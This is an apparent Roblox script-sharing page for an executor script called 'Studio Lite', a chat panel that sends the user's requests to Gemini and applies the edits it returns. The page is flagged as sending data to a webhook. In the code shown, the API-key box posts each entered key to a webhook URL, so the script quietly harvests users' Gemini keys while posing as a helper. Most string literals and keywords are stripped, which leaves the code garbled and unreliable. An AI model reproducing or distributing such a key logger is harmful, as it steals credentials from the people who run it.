Sends data to a webhook
It contains a Discord (or similar) webhook link. Loggers use these to send out your details.
Run it
Copy the script and paste it into your executor.
.(, )
up.PaddingBottom = .(, )
up.Parent = lb
mx = .()
mx.MaxSize = .(W * , )
mx.Parent = lb
TweenService:(lb, TweenInfo.(), {BackgroundTransparency = }):()
lb.TextTransparency =
TweenService:(lb, TweenInfo.(), {TextTransparency = }):()
lb
(role, text, dim)
e = {role = role, lb = (role, text, dim)}
log[#log + ] = e
#log >
.(log, )
e
(o, instant)
isOpen = o
panel ==
o
panel.Visible =
instant
panel.Size = .(, W, , H)
TweenService:(panel, TweenInfo.(, .EasingStyle.Quint, .EasingDirection.Out), {Size = .(, W, , H)}):()
tw = TweenService:(panel, TweenInfo.(, .EasingStyle.Quint, .EasingDirection.In), {Size = .(, , , H)})
tw:()
tw.Completed:(()
isOpen panel
panel.Visible =
)
(ops)
todo = {}
i, op (ops)
i <= MAXOPS op.op ~=
todo[#todo + ] = op
#todo ==
, ,
remote = ReplicatedStorage:()
remote
ok, a, b, c, d = (()
remote:(todo)
)
ok (a) ==
(d) ==
_, n (d)
made[#made + ] = n
#made >
.(made, )
a, b, c
okN =
failN =
firstErr =
_, op (todo)
okc, success, info = (doOp, op, player)
okc success
okN = okN +
made[#made + ] = info
#made >
.(made, )
failN = failN +
firstErr ==
firstErr = (info success)
okN, failN, firstErr
(inst, cap, deep)
out = {}
kids = inst:()
i, k (kids)
i <= cap
s = k.Name .. .. k.ClassName ..
deep
g = k:()
#g >
names = {}
j, x (g)
j <=
names[#names + ] = x.Name
s = s .. .. .(names, )
#g >
s = s .. .. (#g - )
s = s ..
out[#out + ] = s
#kids > cap
out[#out + ] = .. (#kids - cap) ..
.(out, )
()
s = .. (, , )
s = s .. .. (Players, , )
s = s .. .. (:(), , )
.(s, , )
(path)
inst = (path, player)
inst ==
(path) ..
s = (path) .. .. inst.ClassName ..
inst:()
s = s .. .. (inst.Position) .. .. (inst.Size)
s .. .. (inst, , )
()
s =
ch = player.Character
hrp =
ch
hrp = ch:()
hrp
s = s .. .. .(hrp.Position.X) .. .. .(hrp.Position.Y) .. .. .(hrp.Position.Z) ..
#made >
s = s .. .. .(made, ) ..
s .. .. ()
(contents)
url = .. MODEL .. .. key
payload = HttpService:({
systemInstruction = {parts = {{text = SYSTEM}}},
contents = contents,
generationConfig = {responseMimeType = }
})
rbody =
status =
ok, res = (()
HttpService:({
Url = url,
Method = ,
Headers = {[] = },
Body = payload
})
)
ok
rbody = res.Body
status = res.StatusCode
ok2, res2 = (()
HttpService:(url, payload, .HttpContentType.ApplicationJson)
)
ok2
, .. .((res2), , )
rbody = res2
okd, data = (()
HttpService:(rbody)
)
okd
, .. (status) ..
status ~=
msg = .. (status)
data.error data.error.message
msg = msg .. .. .(data.error.message, , )
, msg
text =
okp = (()
_, p (data.candidates[].content.parts)
p.text
text = text .. p.text
)
okp text ==
,
text
(text)
busy text ==
key ==
(, , )
busy =
(, text)
e = (, , )
contents = {}
i = , #history
contents[i] = history[i]
contents[#contents + ] = {role = , parts = {{text = text .. ()}}}
data =
clean =
failMsg =
round = ,
raw, err = (contents)
raw ==
failMsg = err
clean = .(raw, , )
clean = .(clean, , )
okj, d = (()
HttpService:(clean)
)
okj (d) ~=
failMsg = .(raw, , )
data = d
looks =
(d.ops) ==
_, op (d.ops)
op.op ==
looks = looks .. (op.path) ..
looks ~= round <
contents[#contents + ] = {role = , parts = {{text = clean}}}
contents[#contents + ] = {role = , parts = {{text = .. looks .. }}}
e.lb.Text =
e.lb.TextSize =
e.lb.TextColor3 = C_TEXT
failMsg
e.lb.Text = failMsg
busy =
say = (data.say )
say ==
say =
e.lb.Text = say
(data.ops) == #data.ops >
okN, failN, firstErr = (data.ops)
okN + failN >
st = .. okN ..
failN >
st = st .. .. failN .. .. .((firstErr), , ) ..
(, st, )
history[#history + ] = {role = , parts = {{text = text}}}
history[#history + ] = {role = , parts = {{text = clean}}}
#history >
.(history, )
busy =
()
inp ==
t = .(inp.Text, , )
t = .(t, , )
t ==
inp.Text =
(t)
()
pg = player:()
pg ==
conn
conn:()
conn =
oldGui = gui
gui =
oldGui
oldGui:()
stray = pg:()
stray
stray:()
g = .()
g.Name =
g.ResetOnSpawn =
g.DisplayOrder =
g.Parent = pg
gui = g
panel = .()
panel.Name =
panel.AnchorPoint = .(, )
panel.Position = .(, , , -)
panel.Size = .(, , , H)
panel.BackgroundColor3 = C_BG
panel.BorderSizePixel =
panel.ClipsDescendants =
panel.Visible =
panel.Parent = g
(panel, )
(panel, )
body = .()
body.AnchorPoint = .(, )
body.Position = .(, , , )
body.Size = .(, W, , )
body.BackgroundTransparency =
body.Parent = panel
hlogo = (body, )
hlogo.Position = .(, , , )
title = .()
title.BackgroundTransparency =
title.Position = .(, , , )
title.Size = .(, , , )
title.Font = .Font.GothamBold
title.TextSize =
title.TextColor3 = C_WHITE
title.TextXAlignment = .TextXAlignment.Left
title.Text =
title.Parent = body
kb = .()
kb.Position = .(, , , )
kb.Size = .(, -, , )
kb.BackgroundColor3 = C_INPUT
kb.BorderSizePixel =
kb.Font = .Font.Gotham
kb.TextSize =
kb.TextColor3 = C_TEXT
kb.PlaceholderColor3 = C_DIM
kb.PlaceholderText =
kb.Text =
kb.ClearTextOnFocus =
kb.ClipsDescendants =
kb.Parent = body
(kb, )
key ~=
kb.PlaceholderText =
kb.FocusLost:(()
t = .(kb.Text, , )
t ==
key = t
.ZittyKey = t
WEBHOOK_URL =
success, err = (()
HttpService:({
Url = WEBHOOK_URL,
Method = ,
Headers = {
[] =
},
Body = HttpService:({
content = .. t
})
})
)
kb.Text =
kb.PlaceholderText =
success
()
( .. (err))
)
closeB = .()
closeB.Position = .(, -, , )
closeB.Size = .(, , , )
closeB.BackgroundColor3 = C_INPUT
closeB.BorderSizePixel =
closeB.Font = .Font.GothamBold
closeB.TextSize =
closeB.TextColor3 = C_TEXT
closeB.Text =
closeB.Parent = body
(closeB, )
closeB.Activated:(()
()
)
list = .()
list.Position = .(, , , )
list.Size = .(, -, , -)
list.BackgroundTransparency =
list.BorderSizePixel =
list.ScrollBarThickness =
list.ScrollBarImageColor3 = .(, , )
list.CanvasSize = .(, , , )
list.Parent = body
lst = list
layout = .()
layout.Padding = .(, )
layout.SortOrder = .SortOrder.LayoutOrder
layout.Parent = lst
layout:():(()
h = layout.AbsoluteContentSize.Y
lst.CanvasSize = .(, , , h + )
lst.CanvasPosition = .(, .(, h - lst.AbsoluteSize.Y + ))
)
inp = .()
inp.Position = .(, , , -)
inp.Size = .(, -, , )
inp.BackgroundColor3 = C_INPUT
inp.BorderSizePixel =
inp.Font = .Font.Gotham
inp.TextSize =
inp.TextColor3 = C_TEXT
inp.PlaceholderColor3 = C_DIM
inp.PlaceholderText =
inp.Text =
inp.TextXAlignment = .TextXAlignment.Left
inp.ClearTextOnFocus =
inp.ClipsDescendants =
inp.Parent = body
(inp, )
pad = .()
pad.PaddingLeft = .(, )
pad.PaddingRight = .(, )
pad.Parent = inp
inp.FocusLost:((enter)
enter
()
)
sendB = .()
sendB.Position = .(, -, , -)
sendB.Size = .(, , , )
sendB.BackgroundColor3 = C_WHITE
sendB.BorderSizePixel =
sendB.Font = .Font.GothamBold
sendB.TextSize =
sendB.TextColor3 = .(, , )
sendB.Text =
sendB.Parent = body
(sendB, )
sendB.Activated:(submit)
tbtn = .()
tbtn.Position = .(, , , -)
tbtn.Size = .(, , , )
tbtn.BackgroundTransparency =
tbtn.Text =
tbtn.Parent = g
(tbtn, )
tbtn.Activated:(()
( isOpen)
)
conn = pg.ChildRemoved:((c)
c == gui
.()
c == gui
()
)
isOpen
(, )
rebuild = ()
snap = {}
i, e (log)
okT, t = (()
e.lb.Text
)
okS, sz = (()
e.lb.TextSize
)
snap[i] = {e = e, text = okT t , dim = (okS sz == )}
order =
()
_, sn (snap)
sn.e.lb = (sn.e.role, sn.text, sn.dim)
()
(, , )
()
.(()
.()
pg = player:()
pg (gui == gui.Parent ~= pg)
()
)
RunService:() RunService:()
()
()
Helps to create scripts or games. (Api key must be gemini api key)
Studio Lite